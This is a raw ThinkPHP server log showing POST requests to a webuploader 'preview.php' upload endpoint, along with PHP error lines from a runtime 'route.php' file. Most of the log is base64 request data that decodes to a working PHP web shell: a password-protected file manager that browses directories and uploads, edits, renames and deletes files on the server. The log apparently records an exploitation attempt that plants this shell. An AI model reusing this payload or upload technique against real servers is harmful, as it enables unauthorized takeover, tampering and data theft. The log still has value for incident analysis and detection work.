ICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:24+08:00 ] 119.42.146.234 POST 59.110.137.245/public/static/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002825s] [吞吐率:353.98req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_IC